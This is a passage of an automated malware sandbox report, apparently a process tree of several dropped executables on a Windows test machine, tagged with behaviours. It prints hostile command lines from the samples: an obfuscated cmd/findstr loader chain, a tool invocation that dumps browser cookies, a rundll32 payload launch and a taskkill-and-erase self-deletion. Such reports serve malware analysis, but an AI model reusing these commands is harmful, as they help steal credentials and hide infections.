                                                                                                "C:\Users\Admin\Documents\NbZ4qIx9aMUbkUhrY_J10EK8.exe"
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Suspicious use of SetThreadContext
                                                                                                PID:2984
                                                                                                • C:\Users\Admin\Documents\NbZ4qIx9aMUbkUhrY_J10EK8.exe
                                                                                                  "C:\Users\Admin\Documents\NbZ4qIx9aMUbkUhrY_J10EK8.exe"
                                                                                                  3⤵
                                                                                                    PID:3800
                                                                                                • C:\Users\Admin\Documents\enKPA5mNF8MfSDGDR8_Poyen.exe
                                                                                                  "C:\Users\Admin\Documents\enKPA5mNF8MfSDGDR8_Poyen.exe"
                                                                                                  2⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:4272
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c cmd < Poi.vsd
                                                                                                    3⤵
                                                                                                      PID:1576
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        cmd
                                                                                                        4⤵
                                                                                                          PID:4956
                                                                                                          • C:\Windows\SysWOW64\findstr.exe
                                                                                                            findstr /V /R "^nZwSZJdQSZwKBWJCtpbfZHNwzsXALugVPsbikcLGmlTQMSJGkUUtRoHQkZmHLQyLLuVpnCdInRQPNWfBIsgQkprGKGWkWrUJtiyFXmiJDkGqaSrgKXZxBgABegmS$" Che.vsd
                                                                                                            5⤵
                                                                                                              PID:4184
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                              Dare.exe.com D
                                                                                                              5⤵
                                                                                                                PID:5408
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                  6⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  PID:5688
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                    7⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    PID:5848
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                      8⤵
                                                                                                                        PID:6024
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                          9⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Loads dropped DLL
                                                                                                                          • Modifies registry class
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:4524
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                            10⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:5316
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                              11⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:1160
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                12⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                PID:5356
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                  13⤵
                                                                                                                                    PID:5588
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                      14⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      PID:1228
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                        15⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        PID:2152
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                          16⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:5860
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                            17⤵
                                                                                                                                              PID:5888
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                18⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                PID:192
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                  19⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:1568
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                    20⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    PID:6472
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                      21⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      PID:6768
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                        22⤵
                                                                                                                                                          PID:7124
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                            23⤵
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            PID:4788
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                              24⤵
                                                                                                                                                                PID:5332
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                  25⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  PID:4120
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                    26⤵
                                                                                                                                                                      PID:6520
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                        27⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        PID:6676
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                          28⤵
                                                                                                                                                                            PID:5084
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                              29⤵
                                                                                                                                                                                PID:6488
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                                  30⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  PID:5108
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                                    31⤵
                                                                                                                                                                                      PID:6320
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                                        32⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        PID:7124
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                                          33⤵
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          PID:5888
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                                            34⤵
                                                                                                                                                                                              PID:3868
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                                                35⤵
                                                                                                                                                                                                  PID:4948
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                                                    36⤵
                                                                                                                                                                                                      PID:1540
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                                                        37⤵
                                                                                                                                                                                                          PID:5452
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                                                            38⤵
                                                                                                                                                                                                              PID:5692
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                                                                39⤵
                                                                                                                                                                                                                  PID:2064
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                                                                    40⤵
                                                                                                                                                                                                                      PID:5952
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                                                                        41⤵
                                                                                                                                                                                                                          PID:5372
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                                                                            42⤵
                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                            PID:6024
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                                                                              43⤵
                                                                                                                                                                                                                                PID:5452
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                                                                                  44⤵
                                                                                                                                                                                                                                    PID:428
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                                                                                      45⤵
                                                                                                                                                                                                                                        PID:5564
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com
                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D
                                                                                                                                                                                                                                          46⤵
                                                                                                                                                                                                                                            PID:5256
                                                                                                                                                        • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                          ping 127.0.0.1 -n 30
                                                                                                                                                          5⤵
                                                                                                                                                          • Runs ping.exe
                                                                                                                                                          PID:5656
                                                                                                                                                  • C:\Users\Admin\Documents\YB3l4cyjMGVZPr1JSD0bBcyO.exe
                                                                                                                                                    "C:\Users\Admin\Documents\YB3l4cyjMGVZPr1JSD0bBcyO.exe"
                                                                                                                                                    2⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    PID:4304
                                                                                                                                                    • C:\Program Files (x86)\Company\NewProduct\file4.exe
                                                                                                                                                      "C:\Program Files (x86)\Company\NewProduct\file4.exe"
                                                                                                                                                      3⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      PID:4444
                                                                                                                                                    • C:\Program Files (x86)\Company\NewProduct\jooyu.exe
                                                                                                                                                      "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
                                                                                                                                                      3⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      PID:4424
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                        4⤵
                                                                                                                                                          PID:5108
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                          4⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          PID:5308
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                          4⤵
                                                                                                                                                            PID:2724
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                            4⤵
                                                                                                                                                              PID:776
                                                                                                                                                          • C:\Program Files (x86)\Company\NewProduct\jingzhang.exe
                                                                                                                                                            "C:\Program Files (x86)\Company\NewProduct\jingzhang.exe"
                                                                                                                                                            3⤵
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            • Checks computer location settings
                                                                                                                                                            • Modifies registry class
                                                                                                                                                            PID:2820
                                                                                                                                                            • C:\Windows\SysWOW64\rUNdlL32.eXe
                                                                                                                                                              "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",shl
                                                                                                                                                              4⤵
                                                                                                                                                                PID:4932
                                                                                                                                                            • C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
                                                                                                                                                              "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
                                                                                                                                                              3⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • Checks whether UAC is enabled
                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                              PID:2376
                                                                                                                                                          • C:\Users\Admin\Documents\kuNet40qYZ18d6eCosJH0ejn.exe
                                                                                                                                                            "C:\Users\Admin\Documents\kuNet40qYZ18d6eCosJH0ejn.exe"
                                                                                                                                                            2⤵
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            PID:4392
                                                                                                                                                            • C:\Users\Admin\Documents\kuNet40qYZ18d6eCosJH0ejn.exe
                                                                                                                                                              "C:\Users\Admin\Documents\kuNet40qYZ18d6eCosJH0ejn.exe" -a
                                                                                                                                                              3⤵
                                                                                                                                                                PID:2932
                                                                                                                                                            • C:\Users\Admin\Documents\tAGK5lABun7qtb76BccKTMys.exe
                                                                                                                                                              "C:\Users\Admin\Documents\tAGK5lABun7qtb76BccKTMys.exe"
                                                                                                                                                              2⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              PID:4640
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-K76V7.tmp\tAGK5lABun7qtb76BccKTMys.tmp
                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-K76V7.tmp\tAGK5lABun7qtb76BccKTMys.tmp" /SL5="$2021C,28982256,486912,C:\Users\Admin\Documents\tAGK5lABun7qtb76BccKTMys.exe"
                                                                                                                                                                3⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                PID:4764
                                                                                                                                                            • C:\Users\Admin\Documents\GNfijE1ANg1VNQUhjgOEiYWp.exe
                                                                                                                                                              "C:\Users\Admin\Documents\GNfijE1ANg1VNQUhjgOEiYWp.exe"
                                                                                                                                                              2⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              PID:4488
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{Cazq-DakJ0-nmxP-dKgzX}\34420037038.exe"
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:5320
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\{Cazq-DakJ0-nmxP-dKgzX}\34420037038.exe
                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\{Cazq-DakJ0-nmxP-dKgzX}\34420037038.exe"
                                                                                                                                                                    4⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:5616
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{Cazq-DakJ0-nmxP-dKgzX}\86703826949.exe" /mix
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:6120
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\{Cazq-DakJ0-nmxP-dKgzX}\86703826949.exe
                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\{Cazq-DakJ0-nmxP-dKgzX}\86703826949.exe" /mix
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:5252
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\LpPHqQShdmXpGX.exe
                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\LpPHqQShdmXpGX.exe"
                                                                                                                                                                          5⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                          PID:5972
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\New Feature\4.exe
                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\New Feature\4.exe"
                                                                                                                                                                            6⤵
                                                                                                                                                                              PID:5368
                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe
                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"
                                                                                                                                                                                7⤵
                                                                                                                                                                                • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                PID:7148
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\New Feature\vpn.exe
                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\New Feature\vpn.exe"
                                                                                                                                                                              6⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              PID:4604
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c cmd < Desideri.vssm
                                                                                                                                                                                7⤵
                                                                                                                                                                                  PID:6032
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    cmd
                                                                                                                                                                                    8⤵
                                                                                                                                                                                      PID:6516
                                                                                                                                                                                      • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                        findstr /V /R "^DdxKEtxKiBrsjWeMWeHVMbRIxwOxUfTCZBFVZcXhPmGyTTvpqsQawImumMfCdZPSHAaKduMByzyjRLOBEFzCnBAdwnvhyxXQ$" Par.vssm
                                                                                                                                                                                        9⤵
                                                                                                                                                                                          PID:6264
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com
                                                                                                                                                                                          Altrove.exe.com H
                                                                                                                                                                                          9⤵
                                                                                                                                                                                            PID:5776
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com
                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com H
                                                                                                                                                                                              10⤵
                                                                                                                                                                                                PID:1596
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com
                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com H
                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                    PID:4504
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com
                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com H
                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                        PID:5924
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com
                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com H
                                                                                                                                                                                                          13⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          PID:2932
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com
                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com H
                                                                                                                                                                                                            14⤵
                                                                                                                                                                                                              PID:5044
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com
                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com H
                                                                                                                                                                                                                15⤵
                                                                                                                                                                                                                  PID:5164
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com
                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com H
                                                                                                                                                                                                                    16⤵
                                                                                                                                                                                                                      PID:5256
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com
                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com H
                                                                                                                                                                                                                        17⤵
                                                                                                                                                                                                                          PID:4336
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com
                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com H
                                                                                                                                                                                                                            18⤵
                                                                                                                                                                                                                              PID:4900
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com
                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com H
                                                                                                                                                                                                                                19⤵
                                                                                                                                                                                                                                  PID:4912
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com
                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com H
                                                                                                                                                                                                                                    20⤵
                                                                                                                                                                                                                                      PID:6336
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com H
                                                                                                                                                                                                                                        21⤵
                                                                                                                                                                                                                                          PID:4344
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com
                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com H
                                                                                                                                                                                                                                            22⤵
                                                                                                                                                                                                                                              PID:5876
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com
                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com H
                                                                                                                                                                                                                                                23⤵
                                                                                                                                                                                                                                                  PID:5680
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com
                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Altrove.exe.com H
                                                                                                                                                                                                                                                    24⤵
                                                                                                                                                                                                                                                      PID:7016
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                        ping 127.0.0.1 -n 30
                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                                                        PID:4820
                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{Cazq-DakJ0-nmxP-dKgzX}\48176135395.exe" /mix
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:4744
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\{Cazq-DakJ0-nmxP-dKgzX}\48176135395.exe
                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\{Cazq-DakJ0-nmxP-dKgzX}\48176135395.exe" /mix
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                • Checks processor information in registry
                                                                                                                                                                                                                PID:5348
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\nailedp\edspolishpp.exe
                                                                                                                                                                                                                  edspolishpp.exe
                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                  PID:3340
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c taskkill /im "GNfijE1ANg1VNQUhjgOEiYWp.exe" /f & erase "C:\Users\Admin\Documents\GNfijE1ANg1VNQUhjgOEiYWp.exe" & exit
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:4340
                                                                                                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                  taskkill /im "GNfijE1ANg1VNQUhjgOEiYWp.exe" /f
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                  PID:5532
                                                                                                                                                                                                            • C:\Users\Admin\Documents\af3IVqEHDEUtbC_A20bjT1j8.exe
                                                                                                                                                                                                              "C:\Users\Admin\Documents\af3IVqEHDEUtbC_A20bjT1j8.exe"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                              PID:4416
                                                                                                                                                                                                              • C:\Program Files (x86)\Browzar\Browzar.exe
                                                                                                                                                                                                                "C:\Program Files (x86)\Browzar\Browzar.exe"
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                • Checks whether UAC is enabled
                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                PID:2332
                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2332 -s 2744
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                  PID:4496
